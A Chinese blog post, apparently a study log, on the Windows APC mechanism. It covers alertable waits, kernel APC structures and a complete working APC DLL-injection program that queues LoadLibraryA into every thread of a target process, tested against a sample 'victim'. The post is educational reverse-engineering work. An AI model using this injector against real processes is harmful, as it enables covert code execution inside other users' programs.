APC机制与注入

APC机制:

APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制

当使用 CreateThread 创建一个线程时,需要指定一个线程回调函数(入口函数),这是这个线程的主执行体。但是,APC是一个额外的机制,可以在不干扰该线程主任务的情况下,让该线程处理其他的异步操作。

通过APC,你可以在已经运行的线程中插入额外的操作,而不需要创建新的线程。线程会在某些合适的时刻处理APC请求,比如进入等待状态时。

用户模式下的 APC 需要线程主动进入等待状态或调用一些特定的函数才能触发其执行。这意味着线程必须进入某些特殊的状态才能执行 APC,比如调用以下这些函数时:

  • SleepEx
  • WaitForSingleObjectEx
  • WaitForMultipleObjectsEx

这些函数的特点是它们都有一个参数允许线程可被中断以执行 APC,即通过传递 TRUE 给它们的 “alertable” 参数。

如果线程一直在循环

在这种情况下,如果线程只是忙于执行一个循环任务,并且不调用任何支持 APC 的函数,APC 不会自动执行。这意味着,线程必须显式地调用某些 API 并进入可被中断的状态,否则 APC 无法被处理。

实际测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <windows.h>
#include <stdio.h>

VOID CALLBACK APCProc(ULONG_PTR dwParam) {
printf("APC function executed with parameter: %d\n", (int)dwParam);
}

DWORD WINAPI ThreadProc(LPVOID lpParam) {
printf("Thread started\n");

// 模拟忙碌的循环
for (int i = 0; i < 10; i++) {
printf("Thread working: %d\n", i);
Sleep(1000); // 注意:这里是普通的 Sleep,不会触发APC
}

printf("Thread finished\n");
return 0;
}

int main() {
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);

// 将 APC 加入线程队列
QueueUserAPC(APCProc, hThread, 123);


// 等待线程完成
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

return 0;
}

执行的结果长这样:

1728010277605

和我们刚刚说的理论貌似不一样,APC竟然先于线程主体执行了,可是不是说要等线程主体时间空出来了才能执行吗??

查阅资料,找到一个稍微靠谱的答案,说:
CreateThread 创建新线程时,线程的初始状态和调度时机可能会影响 APC 的执行顺序。在某些情况下,系统会在新线程尚未开始执行其主函数(ThreadProc)之前,触发挂起的 APC。如果线程刚开始时还没有进入忙碌的状态,系统可能趁这个空档先处理了 APC。也就是说,系统可能会在线程真正进入循环之前处理 APC。

为了印证上面的说法,我们把main函数改一下,加了一个Sleep,让线程先跑以来,这样就可以保证线程主体是繁忙的了

1
2
3
4
5
6
7
8
9
10
11
12
13
int main() {
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
Sleep(1);
// 将 APC 加入线程队列
QueueUserAPC(APCProc, hThread, 123);


// 等待线程完成
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

return 0;
}

然后看看结果:

发现APC回调函数并没有被执行,所以证明线程从开始到结束都没有空闲时间给APC,所以APC不会被调用

1728010475459

那么如何解决呢?很简单,把Thread回调里面的Sleep改成SleepEx,这个函数允许在Sleep期间去执行APC

分析APC内核结构:

打开Windbg,在KTHREAD找到_KAPC _STATE

1728012421126

_KAPC _STATE长这样

1728012524396

1
2
3
4
5
6
7
8
9
+0x000 ApcListHead[2] //2个用链表做的APC队列 用户APC和内核APC 

+0x010 Process //线程所属或者所挂靠的进程

+0x014 KernelApcInProgress //内核APC是否正在执行

+0x015 KernelApcPending //是否有正在等待执行的内核APC

+0x016 UserApcPending //是否有正在等待执行的用户APC

在KTHREAD里面,还有_KAPC
1728012811076

NormalRoutine 会找到你提供的APC函数,并不完全等于APC函数的地址

1728012846027

通过刚刚那个队列结构,可以循环遍历到每一个KAPC结构,就能找到所有APC函数地址

用户APC是如何插入队列的

首先分析一下QueueUserAPC是咋干活的

1728028760254

调用了QueueUserAPC2

QueueUserAPC2里面又调用了内核API NtQueueApcThreadEx2

1728028815874

去内核ntoskrnl.exe翻出这个API:NtQueueApcThreadEx2

1728028656304

调用了KeInitializeApc初始化APC结构,然后又调用了KeInsertQueueApc插入APC队列

这么来看,零环和三环都是通过KeInitializeApcKeInsertQueueApc插入APC队列的

那么如何区分内核模式和用户模式呢?也就是看 KeInitializeApc 的参数的

1
2
3
4
5
6
7
8
9
10
VOID KeInitializeApc(
PKAPC Apc, // APC 结构体
PKTHREAD Thread, // 目标线程
KAPC_ENVIRONMENT ApcEnvironment, // APC 环境
PKKERNEL_ROUTINE KernelRoutine, // 内核 APC 例程
PKRUNDOWN_ROUTINE RundownRoutine, // Rundown APC 例程
PKNORMAL_ROUTINE NormalRoutine, // 普通 APC 例程(仅用户模式有效)
KPROCESSOR_MODE ApcMode, // 指定是内核模式还是用户模式 APC
PVOID NormalContext // 用户模式 APC 的上下文
);

如果 ApcModeKernelMode,则这是一个 内核 APC,它只会调用 KernelRoutine,不会调用 NormalRoutine

如果 ApcModeUserMode,则这是一个 用户 APC,当线程返回到用户模式时,会调用 NormalRoutine

实践发现资料不对

资料是这么说的:

在处理用户APC中,当产生休眠系统调用、中断或者异常,线程在返回用户空间前都会调用 KiServiceExit 函数,在 KiServiceExit 会判断是否有要执行的用户APC,如果有则调用 KiDeliverApc 函数(第一个参数为1)进行处理。

但是实践下来,普通的系统调用,异常处理中断并不会调用APC

实现下来我发现,能调用APC的的条件只有当线程显式进入可警报等待状态时,挂起的 APC 才有机会被执行。 就是那些能显式进入可报警状态的API

  • SleepEx
  • WaitForSingleObjectEx
  • WaitForMultipleObjectsEx

资料还说APC可以利用线程切换的间隙去执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <windows.h>
#include <stdio.h>

HANDLE hMutex; // 全局互斥体

VOID CALLBACK APCProc(ULONG_PTR dwParam) {
printf("APC function executed with parameter: %d\n", (int)dwParam);
}

DWORD WINAPI ThreadProc1(LPVOID lpParam) {
for (int i = 0; i < 5; i++) {
// 等待互斥体
WaitForSingleObject(hMutex, INFINITE);
printf("Thread 1 executing: %d\n", i);
Sleep(500); // 模拟一些工作

// 释放互斥体,让另一个线程继续
ReleaseMutex(hMutex);

}
return 0;
}

DWORD WINAPI ThreadProc2(LPVOID lpParam) {
for (int i = 0; i < 5; i++) {
// 等待互斥体
WaitForSingleObject(hMutex, INFINITE);
printf("Thread 2 executing: %d\n", i);
Sleep(500); // 模拟一些工作

// 释放互斥体,让另一个线程继续
ReleaseMutex(hMutex);

}
return 0;
}

int main() {
// 创建互斥体
hMutex = CreateMutex(NULL, FALSE, NULL);

// 创建两个线程
HANDLE hThread1 = CreateThread(NULL, 0, ThreadProc1, NULL, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, ThreadProc2, NULL, 0, NULL);
Sleep(10);
// 将 APC 加入两个线程的队列
QueueUserAPC(APCProc, hThread1, 101);
QueueUserAPC(APCProc, hThread2, 202);

// 等待两个线程完成
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);

// 清理资源
CloseHandle(hThread1);
CloseHandle(hThread2);
CloseHandle(hMutex);

return 0;
}

但是实践下来,切换过程中貌似并没有APC执行

1728030577465

APC注入

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>


// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}


BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {
EnableDebugPrivilege();
//打开进程,获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
//向目标进程申请空间写入dll全路径
int nSize = strlen(pszDllName);
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
SIZE_T dwWrittenSize = 0;
WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
//获取LoadLibraryA的地址
HMODULE hMod = GetModuleHandleA("kernel32.dll");
FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");
//创建线程快照
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(te);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnap == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD dwRet = 0;
HANDLE hThread = NULL;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == dwPid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread) {
dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,
(ULONG_PTR)pDllAddr);
hThread = NULL;
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnap);
return TRUE;
}


int main(int argc, char* argv[])
{
if (argc == 3)
{
if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))
printf("APCInject failed\n");
else
printf("APCInject successfully\n");
}
else
{
printf("\nUsage: %s <PID> <Dllpath>\n");
printf("Example: %s 520 C:\\test.dll\n");
}
return 0;
}

局限性:

当注入 APC 时,目标线程确实必须处于 可警报等待 状态(Alertable Wait)才能执行 APC。一般来说,常见的触发 APC 执行的系统调用包括:

  • SleepEx
  • WaitForSingleObjectEx
  • WaitForMultipleObjectsEx
  • SignalObjectAndWait
  • 以及其他一些支持可警报等待的函数

如果目标线程没有调用这些支持可警报等待的系统调用,APC 可能会一直悬而未决,不会被执行。这是因为 APC 的执行依赖于线程进入可警报状态,而常规的 SleepWaitForSingleObject 并不会触发 APC 执行。

实践了一下发现:

如果受害者程序是这样写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <iostream>

// 线程函数
DWORD WINAPI ThreadProc(LPVOID lpParam) {
while (1)
{
std::cout << "Thread is running: " << std::endl;
SleepEx(1000,TRUE); // 休眠1秒钟
}
return 0;
}

int main() {
// 创建线程
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "Failed to create thread: " << GetLastError() << std::endl;
return 1;
}

// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

std::cout << "Thread has finished." << std::endl;
return 0;
}

注入成功! img

But,如果我们改一下,把SleepEx改为Sleep,看看效果如何

1728043868079

可以发现注入了,但是没有跑起来,这就是APC注入的一个局限性了